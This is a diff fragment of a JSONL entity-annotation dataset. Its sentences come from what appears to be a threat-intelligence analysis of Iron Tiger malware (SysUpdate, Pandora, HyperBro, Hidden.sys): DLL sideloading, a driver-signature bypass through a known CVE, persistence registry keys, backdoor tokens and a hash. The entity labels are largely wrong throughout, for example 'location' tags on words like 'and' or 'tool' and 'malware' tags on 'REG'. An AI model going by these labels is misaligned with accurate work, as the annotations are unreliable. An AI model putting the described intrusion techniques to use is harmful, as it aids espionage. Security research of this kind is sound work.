HyperSSL.","entities":[{"id":22026,"label":"location","start_offset":8,"end_offset":11},{"id":22027,"label":"malware","start_offset":16,"end_offset":25},{"id":22029,"label":"location","start_offset":77,"end_offset":83},{"id":22030,"label":"location","start_offset":106,"end_offset":109},{"id":22031,"label":"malware","start_offset":127,"end_offset":136},{"id":22033,"label":"malware","start_offset":173,"end_offset":183},{"id":22034,"label":"location","start_offset":185,"end_offset":188},{"id":22035,"label":"malware","start_offset":189,"end_offset":197}],"relations":[],"Comments":[]} {"id":7026,"text":"SysUpdate was first described by the NCC Group in 2018.","entities":[{"id":22036,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} -{"id":7027,"text":"In the past, SysUpdate was loaded in memory by a known method involving three files: One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading One malicious DLL loaded by the legitimate file One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL ","entities":[{"id":22042,"label":"location","start_offset":131,"end_offset":134},{"id":22043,"label":"location","start_offset":162,"end_offset":169}],"relations":[],"Comments":[]} {"id":7028,"text":"An additional executable that serves as a launcher is loaded in memory, which then loads the final SysUpdate payload.","entities":[{"id":22046,"label":"malware","start_offset":99,"end_offset":108}],"relations":[],"Comments":[]} {"id":7029,"text":"Based on our investigation, instead of the usual three files, the threat actor used five: dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&C) address ","entities":[{"id":22049,"label":"location","start_offset":238,"end_offset":241},{"id":22050,"label":"location","start_offset":309,"end_offset":312},{"id":22051,"label":"location","start_offset":392,"end_offset":395},{"id":22052,"label":"malware","start_offset":409,"end_offset":418},{"id":22053,"label":"location","start_offset":429,"end_offset":432},{"id":22055,"label":"location","start_offset":459,"end_offset":462},{"id":22057,"label":"location","start_offset":551,"end_offset":554},{"id":22058,"label":"malware","start_offset":568,"end_offset":577},{"id":22059,"label":"location","start_offset":613,"end_offset":616}],"relations":[],"Comments":[]} -{"id":7030,"text":"Analysis of the Updated Tool: The Launcher","entities":[{"id":22060,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]} -{"id":7031,"text":"In summary, the launcher acts as an installer — it will copy the malware to a fixed place and ensure that it runs during the next boot of the infected host.","entities":[{"id":22061,"label":"location","start_offset":51,"end_offset":55},{"id":22062,"label":"location","start_offset":90,"end_offset":93},{"id":22063,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]} {"id":7032,"text":"In detail, this process involves multiple steps.","entities":[],"relations":[],"Comments":[]} -{"id":7033,"text":"The launcher starts by instantiating the CLoadInfo object, which has the following structure: Offset Description Hardcoded values in our sample 0 VTable of CLoadInfo class ","entities":[{"id":22064,"label":"location","start_offset":83,"end_offset":92},{"id":22065,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]} {"id":7034,"text":"4 Directory to copy all files %PROGRAMDATA%\\Test\\ 8 Name of the legitimate executable dlpumgr32.exe 12 Name of the sideloaded DLL DLPPREM32.DLL ","entities":[],"relations":[],"Comments":[]} {"id":7035,"text":"16 Name of the shellcode DLPPREM32.bin 20 Name of the encrypted payload data.res 24 MD5 of the encrypted payload e43e40416520dab5b4c44ac8af907078 28 Name of the encrypted configuration config.res 32 Name of the registry key value servTest 36 Name of the service DisplayName Servdisplay Table 1.","entities":[{"id":22066,"label":"MD5","start_offset":121,"end_offset":153}],"relations":[],"Comments":[]} -{"id":7036,"text":"CLoadInfo object structure","entities":[{"id":22068,"label":"location","start_offset":17,"end_offset":26}],"relations":[],"Comments":[]} {"id":7037,"text":"The launcher’s behavior changes depending on the number of arguments passed to the executable.","entities":[],"relations":[],"Comments":[]} -{"id":7038,"text":"It’s important to highlight that the change of behavior only depends on the number of arguments, and not the content: No argument.","entities":[{"id":22069,"label":"location","start_offset":56,"end_offset":60},{"id":22070,"label":"location","start_offset":97,"end_offset":100},{"id":22071,"label":"location","start_offset":109,"end_offset":116}],"relations":[],"Comments":[]} -{"id":7039,"text":"If there is no argument, a hardcoded directory will be created wherein all the files will be copied.","entities":[{"id":22072,"label":"location","start_offset":47,"end_offset":51},{"id":22073,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]} -{"id":7040,"text":"The CreationTime, LastWriteTime, and LastAccessTime will be updated according to the C:\\Windows\\system32\\kernel32.dll file and their file attributes will be set to “hidden” and “system”.","entities":[{"id":22074,"label":"location","start_offset":33,"end_offset":36},{"id":22075,"label":"location","start_offset":52,"end_offset":56},{"id":22076,"label":"location","start_offset":123,"end_offset":126},{"id":22077,"label":"location","start_offset":149,"end_offset":153},{"id":22078,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} {"id":7041,"text":"Windows Management Instrumentation (WMI) will be used to run dlpumgr32.exe with arguments “-up -run -x” and it will exit the current process.","entities":[{"id":22079,"label":"attack-pattern","start_offset":0,"end_offset":34},{"id":22080,"label":"location","start_offset":41,"end_offset":45},{"id":22081,"label":"location","start_offset":104,"end_offset":107},{"id":22082,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]} {"id":7042,"text":"One argument.","entities":[],"relations":[],"Comments":[]} -{"id":7043,"text":"It will skip the decoding of the configuration and persistence setup, and will perform the same behavior as one with three arguments.","entities":[{"id":22084,"label":"location","start_offset":3,"end_offset":7},{"id":22085,"label":"location","start_offset":47,"end_offset":50},{"id":22086,"label":"location","start_offset":70,"end_offset":73},{"id":22087,"label":"location","start_offset":74,"end_offset":78},{"id":22088,"label":"location","start_offset":91,"end_offset":95},{"id":22089,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":7044,"text":"Three arguments.","entities":[],"relations":[],"Comments":[]} -{"id":7045,"text":"The launcher first decrypts the config.res file with a hardcoded Data Encryption Standard (DES) key.","entities":[{"id":22092,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]} {"id":7046,"text":"It encodes it using another key and writes it to the registry key “Software\\Classes\\scConfig” (HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER hive, depending on the privileges of the process).","entities":[{"id":22093,"label":"location","start_offset":32,"end_offset":35},{"id":22094,"label":"malware","start_offset":135,"end_offset":139}],"relations":[],"Comments":[]} {"id":7047,"text":"After decrypting the configuration, the config.res file is deleted.","entities":[],"relations":[],"Comments":[]} -{"id":7048,"text":"Depending on the privileges of the process, the malware will add a value to the “Software\\Microsoft\\Windows\\CurrentVersion\\Run” key, or it will create a service that runs the malware at boot time","entities":[{"id":22095,"label":"location","start_offset":56,"end_offset":60},{"id":22096,"label":"location","start_offset":139,"end_offset":143},{"id":22097,"label":"location","start_offset":191,"end_offset":195}],"relations":[],"Comments":[]} {"id":7049,"text":"The launcher decrypts the data.res file with a different hardcoded DES key.","entities":[],"relations":[],"Comments":[]} {"id":7050,"text":"The result is a file with the following structure: Size of the 32-bit shellcode 32-bit shellcode Size of the 64-bit shellcode 64-bit shellcode Table 2.","entities":[{"id":22098,"label":"location","start_offset":40,"end_offset":49},{"id":22099,"label":"identity","start_offset":70,"end_offset":73},{"id":22100,"label":"identity","start_offset":88,"end_offset":91},{"id":22101,"label":"identity","start_offset":118,"end_offset":121},{"id":22102,"label":"identity","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]} {"id":7051,"text":"Structure of decrypted data.res file Lastly, the launcher starts a suspended process with the command line “C:\\Windows\\system32\\svchost.exe -k LocalServices,”and injects the appropriate shellcode into it (either 32- or 64-bit).","entities":[{"id":22104,"label":"location","start_offset":0,"end_offset":9},{"id":22105,"label":"identity","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]} -{"id":7052,"text":"It will then resume the newly created process and exit the current process.","entities":[{"id":22106,"label":"location","start_offset":3,"end_offset":7},{"id":22107,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]} {"id":7053,"text":" The following diagram summarizes the launch procedure: Figure 2.","entities":[],"relations":[],"Comments":[]} -{"id":7054,"text":"The launch procedure of the updated tool The payload itself is a new version of SysUpdate.","entities":[{"id":22109,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]} {"id":7055,"text":"Analysis of the Payload","entities":[],"relations":[],"Comments":[]} {"id":7056,"text":"The features of the updated SysUpdate payload look similar to its previous versions.","entities":[],"relations":[],"Comments":[]} -{"id":7057,"text":"We observed that the C++ code is structured around classes, many of which have self-explanatory names.","entities":[{"id":22113,"label":"location","start_offset":60,"end_offset":64}],"relations":[],"Comments":[]} -{"id":7058,"text":"Some of these classes, such as CCompress, CIOStreamIF, or CTcpSocket, have been present in the older versions of SysUpdate and compiled near the end of 2015.","entities":[{"id":22115,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]} {"id":7059,"text":"Others have been in existence for many years, such as TPacket, SCM Client, SystemInfo, CMD5, CIOStream, and CInfo.","entities":[{"id":22118,"label":"malware","start_offset":75,"end_offset":85},{"id":22119,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} -{"id":7060,"text":"Some of them are newer and have been developed in 2020, such as ConfigReg, CWorkQueue, WindowsEvent, and CEncoder or cudp.","entities":[{"id":22120,"label":"location","start_offset":8,"end_offset":12},{"id":22121,"label":"location","start_offset":13,"end_offset":16},{"id":22122,"label":"location","start_offset":23,"end_offset":26},{"id":22124,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":7061,"text":"The sample we’ve analyzed contained many new and unique classes that featured a particular naming convention.","entities":[{"id":22125,"label":"location","start_offset":4,"end_offset":10},{"id":22126,"label":"location","start_offset":36,"end_offset":40},{"id":22127,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} -{"id":7062,"text":"The names of classes are mostly self-explanatory, and the manner in which the classes have been organized is probably the result of a framework developed by our threat actor.","entities":[{"id":22128,"label":"location","start_offset":21,"end_offset":24},{"id":22129,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} {"id":7063,"text":" Some of the classes’ names","entities":[],"relations":[],"Comments":[]} -{"id":7064,"text":"start with “H” (HControl, HSleep, and HTrans), “I” (IAgent, ITcpAgent, and IAgentListener), “T” (TCommon, TFileInfo, TFileRename, TFileUpload, TServicesInfo, TListUser, and TTransmit), “C” (CSSLAgent, CSocks5, and CTcpAgent) or “CM” (CMCapture, CMFile, CMPipeClient, CMPipeServer, CMProcess, CMServices, and CMShell)","entities":[{"id":22130,"label":"location","start_offset":0,"end_offset":5},{"id":22131,"label":"location","start_offset":34,"end_offset":37},{"id":22132,"label":"location","start_offset":71,"end_offset":74},{"id":22133,"label":"location","start_offset":169,"end_offset":172},{"id":22134,"label":"location","start_offset":210,"end_offset":213},{"id":22135,"label":"location","start_offset":304,"end_offset":307}],"relations":[],"Comments":[]} -{"id":7065,"text":" The communication is made via a named pipe (in our case, it’s “\\\\.\\pipe\\testPipe”).","entities":[{"id":22136,"label":"location","start_offset":22,"end_offset":26},{"id":22137,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]} -{"id":7066,"text":"Multiple features that are expected of an espionage backdoor are present in the sample.","entities":[{"id":22138,"label":"location","start_offset":23,"end_offset":26},{"id":22139,"label":"location","start_offset":61,"end_offset":64},{"id":22140,"label":"location","start_offset":80,"end_offset":86}],"relations":[],"Comments":[]} -{"id":7067,"text":"These include a screenshot feature, file management functions (such as search, delete, move, upload, and download), process and services management, and command execution.","entities":[{"id":22141,"label":"location","start_offset":101,"end_offset":104},{"id":22142,"label":"location","start_offset":124,"end_offset":127},{"id":22143,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]} {"id":7068,"text":" It should be noted that we also found recent samples of the SysUpdate backdoor that do not implement these “new” classes.","entities":[{"id":22144,"label":"malware","start_offset":61,"end_offset":70}],"relations":[],"Comments":[]} -{"id":7069,"text":"This suggests that different groups (or subgroups of Iron Tiger) are also using this malware family in their attacks.","entities":[{"id":22146,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":7070,"text":" Pandora Backdoor","entities":[{"id":22147,"label":"location","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} {"id":7071,"text":"On two occasions (in March and October 2020), we found a kernel rootkit that had been deployed.","entities":[{"id":22150,"label":"location","start_offset":27,"end_offset":30},{"id":22152,"label":"attack-pattern","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]} {"id":7072,"text":"After analysis, it appears that this rootkit’s behavior is very similar to that of the NDISProxy driver and remote access trojan (RAT).","entities":[{"id":22153,"label":"attack-pattern","start_offset":37,"end_offset":44},{"id":22154,"label":"location","start_offset":97,"end_offset":103},{"id":22155,"label":"location","start_offset":104,"end_offset":107},{"id":22156,"label":"location","start_offset":108,"end_offset":114}],"relations":[],"Comments":[]} -{"id":7073,"text":"The version we found is slightly different — the driver isn’t digitally signed but instead utilizes a known exploit to bypass Windows Driver Signature Enforcement (DSE) protection and load the driver directly into the system.","entities":[{"id":22157,"label":"location","start_offset":49,"end_offset":55},{"id":22158,"label":"location","start_offset":134,"end_offset":140},{"id":22159,"label":"location","start_offset":169,"end_offset":179},{"id":22160,"label":"location","start_offset":180,"end_offset":183},{"id":22161,"label":"location","start_offset":184,"end_offset":188},{"id":22162,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]} -{"id":7074,"text":"We chose to call it “Pandora” based on the program database (PDB) path of the unpacked stage 2, which is “F:\\Pandora\\x\\drv(32-64)\\bin\\src\\drvx64.pdb.”","entities":[{"id":22163,"label":"location","start_offset":12,"end_offset":16},{"id":22164,"label":"location","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]} {"id":7075,"text":"The rootkit has multiple stages before getting to the actual payload:","entities":[{"id":22166,"label":"attack-pattern","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]} -{"id":7076,"text":"Stage 1 Grants system privileges via Windows services Uses DLL sideloading technique to evade security solutions Starts and injects code to a new svchost process to prevent tracking Stage 2 Utilizes a known vulnerability (CPU-Z CVE-2017-15303) that allows it to read and write into physical memory and read CPU control registers to turn the DSE off.","entities":[{"id":22168,"label":"location","start_offset":9,"end_offset":15},{"id":22169,"label":"location","start_offset":96,"end_offset":104},{"id":22170,"label":"location","start_offset":122,"end_offset":125},{"id":22172,"label":"location","start_offset":271,"end_offset":274},{"id":22173,"label":"location","start_offset":302,"end_offset":305}],"relations":[],"Comments":[]} {"id":7077,"text":"This is done in conjunction with the Process Monitor driver (procxp152.sys), both of which are dropped upon loading the rootkit, even if they are not originally installed in the machine.","entities":[{"id":22174,"label":"location","start_offset":45,"end_offset":52},{"id":22175,"label":"location","start_offset":53,"end_offset":59},{"id":22176,"label":"location","start_offset":91,"end_offset":94},{"id":22177,"label":"attack-pattern","start_offset":120,"end_offset":127},{"id":22178,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]} -{"id":7078,"text":"Loads \"drvx64.sys,\" a crafted Windows Presentation Foundation (WPF) driver Stage 2 - Driver Registers WPF callback and filters incoming traffic with a predefined token","entities":[{"id":22179,"label":"location","start_offset":68,"end_offset":74},{"id":22181,"label":"location","start_offset":86,"end_offset":92},{"id":22182,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":7079,"text":"Injects final payload into \"lsass.exe\" Stage 3 - Final Payload Installs itself as a Windows service","entities":[],"relations":[],"Comments":[]} -{"id":7080,"text":"Sets a specific keyword for communication Exchanges messages and commands with the kernel driver Performs backdoor functions ","entities":[{"id":22184,"label":"location","start_offset":61,"end_offset":64},{"id":22185,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]} {"id":7081,"text":"Each backdoor has a different token that is encrypted in the registry.","entities":[],"relations":[],"Comments":[]} -{"id":7082,"text":"If the incoming traffic contains a token and is in the HTTP format, the backdoor will intercept the traffic and process the command.","entities":[{"id":22186,"label":"location","start_offset":41,"end_offset":44},{"id":22187,"label":"location","start_offset":81,"end_offset":85},{"id":22188,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":7083,"text":"In the version that we’ve analyzed, the installer writes the token in the registry key.","entities":[],"relations":[],"Comments":[]} -{"id":7084,"text":"We can’t trigger the backdoor without a current token, which makes the backdoor more difficult to find and analyze.","entities":[{"id":22189,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]} -{"id":7085,"text":"Sample Token Mutex Semaphore Pandora 20200310 FHHqw@nF4Jo0vPAU180IP5h9umnd4KFi ENDnetfilter 234netfilter Pandora 20201010 Qp$zo&FgPBjGhm(.LGi_&j~tmhMO08) ENDdsfsfs xwwadsfsfs Table 3.","entities":[{"id":22190,"label":"location","start_offset":0,"end_offset":6},{"id":22191,"label":"location","start_offset":22,"end_offset":31},{"id":22192,"label":"location","start_offset":33,"end_offset":40},{"id":22193,"label":"location","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]} {"id":7086,"text":"Pandora backdoor samples with different tokens Based on our analysis, the Pandora backdoor contains more public code repositories compared with previous versions.","entities":[{"id":22195,"label":"malware","start_offset":0,"end_offset":7},{"id":22197,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} {"id":7087,"text":"Feature Name Repository Driver memory injection Blackbone https:\/\/github.com\/DarthTon\/Blackbone NDIS network filtering driver WFP Sample \"WDK\\Windows Filtering Platform Stream Edit Sample\/C++\/sys\/stream_callout.c” ","entities":[{"id":22198,"label":"location","start_offset":27,"end_offset":33},{"id":22199,"label":"attack-pattern","start_offset":34,"end_offset":50},{"id":22200,"label":"URL","start_offset":63,"end_offset":100},{"id":22201,"label":"location","start_offset":125,"end_offset":131},{"id":22202,"label":"location","start_offset":137,"end_offset":143},{"id":22203,"label":"location","start_offset":189,"end_offset":195}],"relations":[],"Comments":[]} {"id":7088,"text":"Parse HTTP packets HTTP Parser https:\/\/github.com\/nodejs\/http-parser ","entities":[{"id":22204,"label":"URL","start_offset":33,"end_offset":70}],"relations":[],"Comments":[]} -{"id":7089,"text":"Turn off DSE StryKer","entities":[{"id":22205,"label":"location","start_offset":14,"end_offset":21}],"relations":[],"Comments":[]} {"id":7090,"text":" https:\/\/github.com\/hfiref0x\/Stryker","entities":[],"relations":[],"Comments":[]} {"id":7091,"text":"Encrypted Communication D3DES https:\/\/gitlab.gnome.org\/GNOME\/gtk-vnc\/-\/blob\/v0.1.0\/src\/d3des.c Compression QuickLZ https:\/\/github.com\/robottwo\/quicklz Table 4.","entities":[{"id":22208,"label":"URL","start_offset":121,"end_offset":156}],"relations":[],"Comments":[]} {"id":7092,"text":"Pandora’s public code repositories Rootkits From a Public Repository","entities":[{"id":22210,"label":"malware","start_offset":0,"end_offset":7},{"id":22211,"label":"location","start_offset":10,"end_offset":16},{"id":22212,"label":"location","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]} -{"id":7093,"text":"We found two different rootkits that are being used for hiding processes, files, and services.","entities":[{"id":22214,"label":"location","start_offset":37,"end_offset":40},{"id":22215,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":7094,"text":"Both of them were taken from a public Github repository whose authors are not associated with the threat actor.","entities":[{"id":22216,"label":"location","start_offset":8,"end_offset":12},{"id":22217,"label":"location","start_offset":31,"end_offset":37},{"id":22219,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} {"id":7095,"text":" Hidden.sys - https:\/\/github.com\/JKornev\/hidden\/tree\/master\/ ","entities":[{"id":22220,"label":"URL","start_offset":16,"end_offset":62}],"relations":[],"Comments":[]} -{"id":7096,"text":"The first sample was found in April 2020.","entities":[{"id":22222,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]} -{"id":7097,"text":"The driver was not signed and used the same DSE exploit that the Pandora backdoor uses for it to load.","entities":[{"id":22224,"label":"location","start_offset":4,"end_offset":10},{"id":22225,"label":"location","start_offset":26,"end_offset":29},{"id":22226,"label":"location","start_offset":39,"end_offset":43},{"id":22228,"label":"location","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]} -{"id":7098,"text":"The second sample was found in October 2020 and was signed by a legitimate certificate from Beijing Kingsoft Security Software Co., Ltd., a Chinese security software company.","entities":[{"id":22230,"label":"location","start_offset":11,"end_offset":17},{"id":22232,"label":"location","start_offset":44,"end_offset":47},{"id":22235,"label":"location","start_offset":148,"end_offset":156}],"relations":[],"Comments":[]} {"id":7099,"text":"The certificate has been valid since February 2020.","entities":[],"relations":[],"Comments":[]} -{"id":7100,"text":"We have communicated with Kingsoft Corporation Limited regarding this issue and they have confirmed that as of writing, the certificate has already been voided.","entities":[{"id":22238,"label":"location","start_offset":70,"end_offset":75},{"id":22239,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":7101,"text":" Figure 3. Hidden.sys properties and digital signature details ","entities":[{"id":22241,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]} -{"id":7102,"text":"The tool is used to hide the threat actors’ tools and services.","entities":[{"id":22242,"label":"location","start_offset":4,"end_offset":8},{"id":22243,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":7103,"text":"The tool’s configuration was added to registry run keys on a victim’s computer.","entities":[{"id":22244,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":7104,"text":"Hidden Registry\/Folder\/File Type Value REG HKLM\\SYSTEM\\CurrentControlSet\\services\\HiddenService REG HKLM\\SYSTEM\\CurrentControlSet\\services\\servTest REG HKLM\\SYSTEM\\CurrentControlSet\\services\\TrkWkss Folder C:\\programdata\\vlc File C:\\programdata\\vlc\\vlc.exe Folder C:\\programdata\\test File C:\\programdata\\test\\dlpumgr32.exe File C:\\windows\\system32\\drivers\\Hidden.sys File C:\\windows\\system32\\HiddenService.exe Table 5.","entities":[{"id":22245,"label":"location","start_offset":29,"end_offset":33},{"id":22246,"label":"malware","start_offset":42,"end_offset":45},{"id":22247,"label":"REGISTRYKEY","start_offset":47,"end_offset":99},{"id":22248,"label":"malware","start_offset":101,"end_offset":104},{"id":22249,"label":"REGISTRYKEY","start_offset":106,"end_offset":153},{"id":22250,"label":"malware","start_offset":155,"end_offset":158},{"id":22251,"label":"REGISTRYKEY","start_offset":160,"end_offset":206}],"relations":[],"Comments":[]} -{"id":7105,"text":"The tool’s configuration","entities":[{"id":22253,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":7106,"text":"The references to “Hidden” are related to the rootkit itself.","entities":[{"id":22254,"label":"location","start_offset":27,"end_offset":30},{"id":22255,"label":"attack-pattern","start_offset":46,"end_offset":53}],"relations":[],"Comments":[]} {"id":7107,"text":"The “dlpumgr32.exe” and “servTest” lines are related to the new version of SysUpdate which we described earlier.","entities":[{"id":22256,"label":"location","start_offset":20,"end_offset":23},{"id":22257,"label":"location","start_offset":41,"end_offset":44},{"id":22258,"label":"malware","start_offset":75,"end_offset":84}],"relations":[],"Comments":[]} {"id":7108,"text":" We do not know which malware variant is being sideloaded by vlc.exe.","entities":[],"relations":[],"Comments":[]} {"id":7109,"text":"It is probably installed as a service named “TrkWkss.”","entities":[],"relations":[],"Comments":[]} -{"id":7110,"text":"We found a SysUpdate sample compiled in November 2020 that abuses a DLL sideloading vulnerability in VLC (see IOC list).","entities":[{"id":22261,"label":"location","start_offset":21,"end_offset":27},{"id":22263,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]} {"id":7111,"text":" This confirms that this threat actor is abusing this legitimate program to sideload its backdoors.","entities":[],"relations":[],"Comments":[]} {"id":7112,"text":"HyperBro Malware Family","entities":[{"id":22264,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]} {"id":7113,"text":"The Iron Tiger APT group has used the HyperBro malware family since at least 2017.","entities":[{"id":22266,"label":"malware","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]} {"id":7114,"text":"It is the evolved version of HttpBrowser, which the group has been using since at least 2015.","entities":[{"id":22268,"label":"malware","start_offset":29,"end_offset":40}],"relations":[],"Comments":[]} -{"id":7115,"text":"We found earlier versions of this malware that were sideloaded by malicious DLL files that unpacked and loaded a binary file named “thumb.db” in memory.","entities":[{"id":22270,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} {"id":7116,"text":"All the requests were sent to the C&C server on port 443, with “\/ajax” as the uniform resource identifier (URI).","entities":[],"relations":[],"Comments":[]} {"id":7117,"text":"While investigating Operation DRBControl, we found an updated version of this malware family that implements some new classes.","entities":[{"id":22272,"label":"threat-actor","start_offset":20,"end_offset":40}],"relations":[],"Comments":[]} {"id":7118,"text":"We provided a detailed analysis of this new HyperBro version in our research.","entities":[{"id":22273,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]} -{"id":7119,"text":"We also discovered that the binary file that’s being unpacked and loaded in memory by malicious DLL files is named “thumb.dat.”","entities":[{"id":22274,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} -{"id":7120,"text":"We also saw that all requests sent to the C&C server were sent to the URI “\/api\/v2\/ajax” on port 443.","entities":[{"id":22275,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7121,"text":"Since we analyzed that single sample, we found several new samples that matched the newer behavior, some of which have been deployed in our gambling target.","entities":[{"id":22276,"label":"location","start_offset":30,"end_offset":36},{"id":22277,"label":"location","start_offset":149,"end_offset":155}],"relations":[],"Comments":[]} {"id":7122,"text":"However, we continue seeing samples that feature the “older” behaviors, which suggests that different groups — or possibly subgroups of Iron Tiger — are using this malware family.","entities":[{"id":22278,"label":"threat-actor","start_offset":136,"end_offset":146},{"id":22279,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]} -{"id":7123,"text":"Some of these samples match the target and behavior listed by ESET in their blog.","entities":[{"id":22280,"label":"location","start_offset":32,"end_offset":38},{"id":22281,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]} {"id":7124,"text":"FRP Tool","entities":[{"id":22283,"label":"malware","start_offset":0,"end_offset":3},{"id":22284,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":7125,"text":"We found the FRP tool being used on a Linux host, which is similar to Avast’s findings in a report that they published on the Iron Tiger threat actor.","entities":[{"id":22285,"label":"tools","start_offset":13,"end_offset":16},{"id":22286,"label":"location","start_offset":17,"end_offset":21},{"id":22287,"label":"location","start_offset":44,"end_offset":48},{"id":22288,"label":"identity","start_offset":70,"end_offset":75},{"id":22289,"label":"threat-actor","start_offset":126,"end_offset":136}],"relations":[],"Comments":[]} {"id":7126,"text":"The FRP tool that we analyzed was a modified version, which was possibly copied off of Github.","entities":[{"id":22290,"label":"malware","start_offset":4,"end_offset":7},{"id":22291,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":7127,"text":"Type 1 Malware Family","entities":[{"id":22292,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} {"id":7128,"text":"We found three new samples of the Type 1 malware family that abuses Dropbox as a secondary C&C channel, which we described in our Operation DRBControl whitepaper.","entities":[{"id":22294,"label":"location","start_offset":34,"end_offset":38},{"id":22295,"label":"malware","start_offset":68,"end_offset":75}],"relations":[],"Comments":[]} -{"id":7129,"text":"Apart from a modification in the malware sample’s configuration (which happened after we published our paper), the differences with the versions that we analyzed in 2019 are minor.","entities":[{"id":22297,"label":"location","start_offset":41,"end_offset":47},{"id":22299,"label":"location","start_offset":170,"end_offset":173},{"id":22300,"label":"location","start_offset":174,"end_offset":179}],"relations":[],"Comments":[]} -{"id":7130,"text":"The version numbering was at 11.0, while the last sample we analyzed in August 2019 was at version number 9.0.","entities":[{"id":22302,"label":"location","start_offset":50,"end_offset":56}],"relations":[],"Comments":[]} {"id":7131,"text":"This shows that the development is still active.","entities":[],"relations":[],"Comments":[]} -{"id":7132,"text":"On the infrastructure side, we observed that the threat actor switched from using IP addresses hosted on the Google Cloud Platform (GCP) to IP addresses hosted on Microsoft Azure.","entities":[{"id":22305,"label":"location","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]} -{"id":7133,"text":"It should be noted that after our blog publication in February 2020, the threat actor compiled new Type 1 malware samples using a new configuration, which prevented us from closely monitoring their operations.","entities":[{"id":22308,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]} {"id":7134,"text":"We believe that this was a direct reaction to our research, suggesting that the threat actor read our investigation.","entities":[],"relations":[],"Comments":[]} -{"id":7135,"text":"It’s also important to note that the compilation timestamp of the sideloaded DLLs were set a few months in advance.","entities":[{"id":22310,"label":"location","start_offset":107,"end_offset":114}],"relations":[],"Comments":[]} -{"id":7136,"text":"For example, the binaries that we found in March and April 2020 had an August 26, 2020 compilation date.","entities":[{"id":22313,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]} -{"id":7137,"text":"This is consistent with the behavior that we noticed during Operation DRBControl, wherein some binaries that have been found in mid-2019 had a compilation date of March 4, 2020.","entities":[{"id":22316,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]} {"id":7138,"text":"This shows that the threat actors intended to confuse forensics investigators with incorrect timestamps, which is why it’s critical to analyze timestamps with caution during investigations.","entities":[],"relations":[],"Comments":[]} {"id":7139,"text":"Infection Vector","entities":[{"id":22318,"label":"tools","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]} {"id":7140,"text":"We could not confirm the primary infection vector.","entities":[{"id":22319,"label":"tools","start_offset":43,"end_offset":49}],"relations":[],"Comments":[]} @@ -4222,191 +5282,83 